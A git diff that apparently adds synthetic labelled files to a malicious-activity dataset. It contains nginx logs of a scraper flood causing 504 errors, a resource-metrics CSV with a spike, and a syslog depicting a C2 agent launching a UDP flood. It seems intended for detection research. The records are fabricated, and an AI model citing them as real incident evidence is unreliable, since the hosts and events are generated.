492 "-" "Scraper/1.0" +Aug 15 14:36:43 web-app-nginx 48.16.158.38 - - [15/Aug/2025:14:36:43 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 465 "-" "Scraper/1.0" +Aug 15 14:36:41 web-app-nginx 134.176.212.227 - - [15/Aug/2025:14:36:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 355 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 176.213.5.178 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 191 "-" "Scraper/1.0" +Aug 15 14:36:42 web-app-nginx 210.184.52.72 - - [15/Aug/2025:14:36:42 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 396 "-" "Scraper/1.0" +Aug 15 14:36:43 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:36:47 web-app-nginx 194.39.215.152 - - [15/Aug/2025:14:36:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 324 "-" "Scraper/1.0" +Aug 15 14:36:47 web-app-nginx 229.156.44.23 - - [15/Aug/2025:14:36:47 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 454 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 188.193.11.157 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 154.138.101.190 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 338 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 185.231.82.185 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 125 "-" "Scraper/1.0" +Aug 15 14:36:45 web-app-nginx 15.133.225.32 - - [15/Aug/2025:14:36:45 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 215 "-" "Scraper/1.0" +Aug 15 14:36:46 web-app-nginx 128.68.230.229 - - [15/Aug/2025:14:36:46 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 121 "-" "Scraper/1.0" +Aug 15 14:36:48 web-app-nginx 109.173.149.201 - - [15/Aug/2025:14:36:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 151 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 177.183.183.221 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 355 "-" "Scraper/1.0" +Aug 15 14:36:52 web-app-nginx 189.218.190.30 - - [15/Aug/2025:14:36:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 206 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 208.187.47.144 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 387 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 239.36.241.20 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 124 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 8.185.119.66 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 493 "-" "Scraper/1.0" +Aug 15 14:36:51 web-app-nginx 102.133.198.96 - - [15/Aug/2025:14:36:51 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 312 "-" "Scraper/1.0" +Aug 15 14:36:50 web-app-nginx 123.122.84.102 - - [15/Aug/2025:14:36:50 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 370 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 138.253.5.127 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 467 "-" "Scraper/1.0" +Aug 15 14:36:52 web-app-nginx 244.52.213.47 - - [15/Aug/2025:14:36:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 361 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 46.95.225.166 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 205 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 45.68.166.207 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 213 "-" "Scraper/1.0" +Aug 15 14:36:54 web-app-nginx 161.87.137.214 - - [15/Aug/2025:14:36:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 148 "-" "Scraper/1.0" +Aug 15 14:36:53 web-app-nginx 85.28.75.248 - - [15/Aug/2025:14:36:53 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 375 "-" "Scraper/1.0" +Aug 15 14:36:52 web-app-nginx 48.60.28.53 - - [15/Aug/2025:14:36:52 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 467 "-" "Scraper/1.0" +Aug 15 14:36:55 web-app-nginx 253.46.61.146 - - [15/Aug/2025:14:36:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 308 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 92.31.63.161 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 303 "-" "Scraper/1.0" +Aug 15 14:36:56 web-app-nginx 249.71.108.229 - - [15/Aug/2025:14:36:56 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 49.164.110.153 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 255 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 172.184.197.202 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 319 "-" "Scraper/1.0" +Aug 15 14:36:58 web-app-nginx 2.123.241.181 - - [15/Aug/2025:14:36:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 384 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 207.152.80.145 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 410 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 173.102.176.241 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 194 "-" "Scraper/1.0" +Aug 15 14:36:57 web-app-nginx 186.151.47.38 - - [15/Aug/2025:14:36:57 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 108 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app-nginx 55.186.82.72 - - [15/Aug/2025:14:36:59 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 150 "-" "Scraper/1.0" +Aug 15 14:36:59 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:37:00 web-app-nginx 135.43.235.233 - - [15/Aug/2025:14:37:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 352 "-" "Scraper/1.0" +Aug 15 14:37:00 web-app-nginx 53.203.55.177 - - [15/Aug/2025:14:37:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 317 "-" "Scraper/1.0" +Aug 15 14:37:00 web-app-nginx 191.186.80.215 - - [15/Aug/2025:14:37:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 217 "-" "Scraper/1.0" +Aug 15 14:37:02 web-app-nginx 145.141.118.250 - - [15/Aug/2025:14:37:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 154 "-" "Scraper/1.0" +Aug 15 14:37:04 web-app-nginx 253.110.75.193 - - [15/Aug/2025:14:37:04 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 473 "-" "Scraper/1.0" +Aug 15 14:37:02 web-app-nginx 64.240.118.146 - - [15/Aug/2025:14:37:02 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 438 "-" "Scraper/1.0" +Aug 15 14:37:03 web-app-nginx 114.20.54.235 - - [15/Aug/2025:14:37:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 284 "-" "Scraper/1.0" +Aug 15 14:37:03 web-app-nginx 104.32.70.205 - - [15/Aug/2025:14:37:03 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 166 "-" "Scraper/1.0" +2025-08-15T14:37:04.745Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:37:06 web-app-nginx 93.217.166.142 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 409 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 34.247.85.232 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 29.34.67.139 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 201 "-" "Scraper/1.0" +Aug 15 14:37:08 web-app-nginx 160.179.111.218 - - [15/Aug/2025:14:37:08 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 168 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 207.132.234.180 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 271 "-" "Scraper/1.0" +Aug 15 14:37:09 web-app-nginx 60.45.95.1 - - [15/Aug/2025:14:37:09 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 293 "-" "Scraper/1.0" +Aug 15 14:37:08 web-app-nginx 101.149.210.150 - - [15/Aug/2025:14:37:08 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 235 "-" "Scraper/1.0" +Aug 15 14:37:08 web-app-nginx 135.217.177.254 - - [15/Aug/2025:14:37:08 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 135 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 70.50.205.205 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 221 "-" "Scraper/1.0" +Aug 15 14:37:07 web-app-nginx 214.223.82.99 - - [15/Aug/2025:14:37:07 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 240 "-" "Scraper/1.0" +Aug 15 14:37:06 web-app-nginx 60.63.192.150 - - [15/Aug/2025:14:37:06 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 361 "-" "Scraper/1.0" +Aug 15 14:37:10 web-app-nginx 57.132.162.22 - - [15/Aug/2025:14:37:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 125 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 40.56.189.227 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 220 "-" "Scraper/1.0" +Aug 15 14:37:11 web-app-nginx 242.92.217.71 - - [15/Aug/2025:14:37:11 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 407 "-" "Scraper/1.0" +Aug 15 14:37:14 web-app-nginx 124.142.8.100 - - [15/Aug/2025:14:37:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 26.103.117.95 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 304 "-" "Scraper/1.0" +Aug 15 14:37:11 web-app-nginx 44.45.183.36 - - [15/Aug/2025:14:37:11 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 492 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 120.127.246.1 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 388 "-" "Scraper/1.0" +Aug 15 14:37:12 web-app-nginx 184.103.37.32 - - [15/Aug/2025:14:37:12 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 416 "-" "Scraper/1.0" +Aug 15 14:37:14 web-app-nginx 169.57.143.160 - - [15/Aug/2025:14:37:14 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 296 "-" "Scraper/1.0" +Aug 15 14:37:13 web-app-nginx 245.200.173.109 - - [15/Aug/2025:14:37:13 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 419 "-" "Scraper/1.0" +Aug 15 14:37:13 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:37:19 web-app-nginx 154.85.144.141 - - [15/Aug/2025:14:37:19 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 453 "-" "Scraper/1.0" +Aug 15 14:37:16 web-app-nginx 5.179.236.119 - - [15/Aug/2025:14:37:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 444 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 163.139.196.107 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 202 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 19.87.190.7 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 470 "-" "Scraper/1.0" +Aug 15 14:37:19 web-app-nginx 221.182.80.30 - - [15/Aug/2025:14:37:19 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 402 "-" "Scraper/1.0" +Aug 15 14:37:17 web-app-nginx 100.254.127.93 - - [15/Aug/2025:14:37:17 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 142 "-" "Scraper/1.0" +Aug 15 14:37:15 web-app-nginx 179.219.45.168 - - [15/Aug/2025:14:37:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 306 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 189.109.157.126 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 203 "-" "Scraper/1.0" +Aug 15 14:37:18 web-app-nginx 206.155.39.135 - - [15/Aug/2025:14:37:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 263 "-" "Scraper/1.0" +Aug 15 14:37:19 web-app-nginx 235.119.32.134 - - [15/Aug/2025:14:37:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 227 "-" "Scraper/1.0" +Aug 15 14:37:20 web-app-nginx 131.206.40.14 - - [15/Aug/2025:14:37:20 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 235 "-" "Scraper/1.0" +Aug 15 14:37:22 web-app-nginx 135.54.18.66 - - [15/Aug/2025:14:37:22 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 307 "-" "Scraper/1.0" +Aug 15 14:37:21 web-app-nginx 216.72.66.31 - - [15/Aug/2025:14:37:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 386 "-" "Scraper/1.0" +Aug 15 14:37:24 web-app-nginx 107.31.167.244 - - [15/Aug/2025:14:37:24 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 101 "-" "Scraper/1.0" +Aug 15 14:37:21 web-app-nginx 217.99.110.73 - - [15/Aug/2025:14:37:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 258 "-" "Scraper/1.0" +Aug 15 14:37:22 web-app-nginx 51.10.202.6 - - [15/Aug/2025:14:37:22 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 347 "-" "Scraper/1.0" +Aug 15 14:37:20 web-app-nginx 41.138.65.236 - - [15/Aug/2025:14:37:20 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 459 "-" "Scraper/1.0" +Aug 15 14:37:21 web-app-nginx 207.15.101.36 - - [15/Aug/2025:14:37:21 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 195 "-" "Scraper/1.0" +Aug 15 14:37:23 web-app-nginx 111.249.73.220 - - [15/Aug/2025:14:37:23 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 431 "-" "Scraper/1.0" diff --git a/mali_dataset/scenario_2/mali_2_1.csv b/mali_dataset/scenario_2/mali_2_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..73761b89459063eefc82a22a4e09bc3a9ab5d8b0 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.12,40.8,17.22,0.76,1.82 +2025-07-15T10:00:05Z,14.81,38.36,23.86,0.86,1.33 +2025-07-15T10:00:10Z,17.63,36.63,27.99,0.76,1.84 +2025-07-15T10:00:15Z,19.51,38.91,23.27,1.11,1.8 +2025-07-15T10:00:20Z,13.04,43.67,20.7,1.16,1.82 +2025-07-15T10:00:25Z,15.56,44.34,26.12,0.93,1.49 +2025-07-15T10:00:30Z,14.98,40.5,24.94,1.02,1.69 +2025-07-15T10:00:35Z,19.83,44.95,23.99,0.67,1.82 +2025-07-15T10:00:40Z,11.3,38.65,22.21,1.29,1.99 +2025-07-15T10:00:45Z,15.39,40.11,28.49,0.73,1.4 +2025-07-15T10:00:50Z,11.81,41.54,20.05,1.31,1.47 +2025-07-15T10:00:55Z,19.89,36.86,27.17,1.35,1.22 +2025-07-15T10:01:00Z,18.65,38.42,21.76,1.24,1.55 +2025-07-15T10:01:05Z,14.2,39.8,26.07,1.26,1.68 +2025-07-15T10:01:10Z,13.51,43.67,28.39,0.93,1.14 +2025-07-15T10:01:15Z,13.61,35.32,22.65,1.47,1.17 +2025-07-15T10:01:20Z,13.58,42.54,27.06,0.65,1.6 +2025-07-15T10:01:25Z,18.77,36.7,17.0,0.51,1.38 +2025-07-15T10:01:30Z,11.85,42.84,24.93,1.4,1.9 +2025-07-15T10:01:35Z,11.19,36.71,22.59,1.08,1.3 +2025-07-15T10:01:40Z,12.35,40.17,15.51,0.87,1.92 +2025-07-15T10:01:45Z,14.94,35.89,28.42,1.06,1.57 +2025-07-15T10:01:50Z,13.17,42.0,20.46,1.33,1.72 +2025-07-15T10:01:55Z,15.69,40.52,16.14,0.96,2.0 +2025-07-15T10:02:00Z,13.13,35.47,19.9,0.68,1.2 +2025-07-15T10:02:05Z,16.4,40.07,23.53,1.04,1.75 +2025-07-15T10:02:10Z,11.35,44.68,16.26,1.45,1.13 +2025-07-15T10:02:15Z,18.34,44.87,18.92,1.29,1.66 +2025-07-15T10:02:20Z,13.53,36.02,24.56,0.98,1.03 +2025-07-15T10:02:25Z,12.46,40.37,24.44,1.47,1.21 +2025-07-15T10:02:30Z,97.04,45.72,3.22,0.22,822.51 +2025-07-15T10:02:35Z,95.09,49.36,4.83,0.37,989.99 +2025-07-15T10:02:40Z,95.83,45.68,2.49,0.27,824.43 +2025-07-15T10:02:45Z,99.85,46.63,3.65,0.32,877.91 +2025-07-15T10:02:50Z,96.27,47.45,2.81,0.24,969.95 +2025-07-15T10:02:55Z,98.3,46.91,4.48,0.23,804.46 +2025-07-15T10:03:00Z,97.47,46.02,3.16,0.2,836.35 +2025-07-15T10:03:05Z,95.51,53.46,3.39,0.43,918.09 +2025-07-15T10:03:10Z,98.85,48.07,2.5,0.35,872.03 +2025-07-15T10:03:15Z,99.5,45.61,3.31,0.48,897.98 +2025-07-15T10:03:20Z,97.44,52.73,4.21,0.3,992.92 +2025-07-15T10:03:25Z,96.49,50.65,4.5,0.25,922.19 +2025-07-15T10:03:30Z,97.86,45.56,1.85,0.42,850.14 +2025-07-15T10:03:35Z,96.45,45.65,1.73,0.13,809.44 +2025-07-15T10:03:40Z,99.52,46.47,4.99,0.31,871.86 +2025-07-15T10:03:45Z,96.31,45.83,2.55,0.19,881.61 +2025-07-15T10:03:50Z,99.34,46.88,3.35,0.25,999.84 +2025-07-15T10:03:55Z,98.49,46.14,3.58,0.38,884.4 +2025-07-15T10:04:00Z,98.06,46.95,3.18,0.22,808.37 +2025-07-15T10:04:05Z,97.83,52.11,3.83,0.4,987.06 +2025-07-15T10:04:10Z,95.2,48.81,2.17,0.36,985.93 +2025-07-15T10:04:15Z,96.09,50.73,2.62,0.45,815.46 +2025-07-15T10:04:20Z,98.26,53.01,2.61,0.19,994.61 +2025-07-15T10:04:25Z,96.9,53.11,1.94,0.19,967.94 +2025-07-15T10:04:30Z,96.06,50.41,4.52,0.42,937.42 +2025-07-15T10:04:35Z,96.1,45.88,4.43,0.35,969.83 +2025-07-15T10:04:40Z,96.54,48.62,3.64,0.38,852.58 +2025-07-15T10:04:45Z,97.52,47.73,1.46,0.38,802.41 +2025-07-15T10:04:50Z,96.56,51.36,4.99,0.32,925.85 +2025-07-15T10:04:55Z,96.45,45.4,3.74,0.27,876.19 +2025-07-15T10:05:00Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T10:05:05Z,96.52,48.29,1.66,0.35,966.39 +2025-07-15T10:05:10Z,95.56,49.55,1.96,0.33,905.75 +2025-07-15T10:05:15Z,99.61,53.78,3.93,0.47,951.3 +2025-07-15T10:05:20Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T10:05:25Z,98.03,50.07,4.94,0.33,820.99 +2025-07-15T10:05:30Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T10:05:35Z,96.22,45.34,1.21,0.25,957.67 +2025-07-15T10:05:40Z,97.54,49.34,3.41,0.46,861.81 +2025-07-15T10:05:45Z,95.93,52.65,3.07,0.21,863.46 +2025-07-15T10:05:50Z,95.2,50.64,3.7,0.14,998.24 +2025-07-15T10:05:55Z,97.49,51.62,2.93,0.15,957.74 +2025-07-15T10:06:00Z,95.04,52.42,2.87,0.43,967.71 +2025-07-15T10:06:05Z,98.43,49.63,1.28,0.45,820.25 +2025-07-15T10:06:10Z,97.38,52.96,3.83,0.28,805.19 +2025-07-15T10:06:15Z,98.73,52.85,1.17,0.21,957.93 +2025-07-15T10:06:20Z,98.42,46.35,4.84,0.27,956.51 +2025-07-15T10:06:25Z,96.89,45.59,2.94,0.3,836.11 +2025-07-15T10:06:30Z,95.81,51.79,4.05,0.46,941.13 +2025-07-15T10:06:35Z,97.23,53.57,2.12,0.26,846.97 +2025-07-15T10:06:40Z,21.9,45.08,18.3,0.73,1.64 +2025-07-15T10:06:45Z,17.55,39.23,19.65,1.3,2.11 +2025-07-15T10:06:50Z,13.09,40.95,18.84,0.79,1.87 +2025-07-15T10:06:55Z,14.24,41.81,30.79,0.86,1.84 +2025-07-15T10:07:00Z,18.34,47.02,30.8,0.66,2.08 +2025-07-15T10:07:05Z,13.3,42.51,20.9,1.37,1.75 +2025-07-15T10:07:10Z,12.8,39.62,23.49,0.67,2.12 +2025-07-15T10:07:15Z,20.1,45.88,21.44,1.34,1.33 +2025-07-15T10:07:20Z,18.19,47.93,20.64,1.21,1.21 +2025-07-15T10:07:25Z,13.78,39.29,19.3,0.72,1.83 diff --git a/mali_dataset/scenario_2/mali_2_1.log b/mali_dataset/scenario_2/mali_2_1.log new file mode 100644 index 0000000000000000000000000000000000000000..1c1446b4dd802c38a6a99532c944c7d84cb0383e --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_1.log @@ -0,0 +1,310 @@ +Jul 15 10:00:00 systemd[1]: Started Session 100 of user root. +Jul 15 10:00:00 CRON[1800]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:00:10 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:00:10 ] "GET /health" 200 12 +Jul 15 10:00:50 CRON[1810]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:01:15 systemd[1]: Started Session 115 of user root. +Jul 15 10:01:40 CRON[1820]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:02:15 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:02:15 ] "GET /health" 200 12 +Jul 15 10:02:30 systemd[1]: Started Session 130 of user root. +Jul 15 10:02:30 CRON[1830]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:02:30 kernel: [1123.456789] C2_AGENT[8899]: Received attack command: type=UDP_FLOOD, target=185.122.204.246, port=80, duration=300s +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13040 DPT=80 LEN=1480 +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41038 DPT=80 LEN=1480 +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26737 DPT=80 LEN=1480 +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43333 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41550 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18188 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33280 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40509 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18295 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37497 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45601 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64728 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58394 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49960 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13000 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58327 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=12717 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 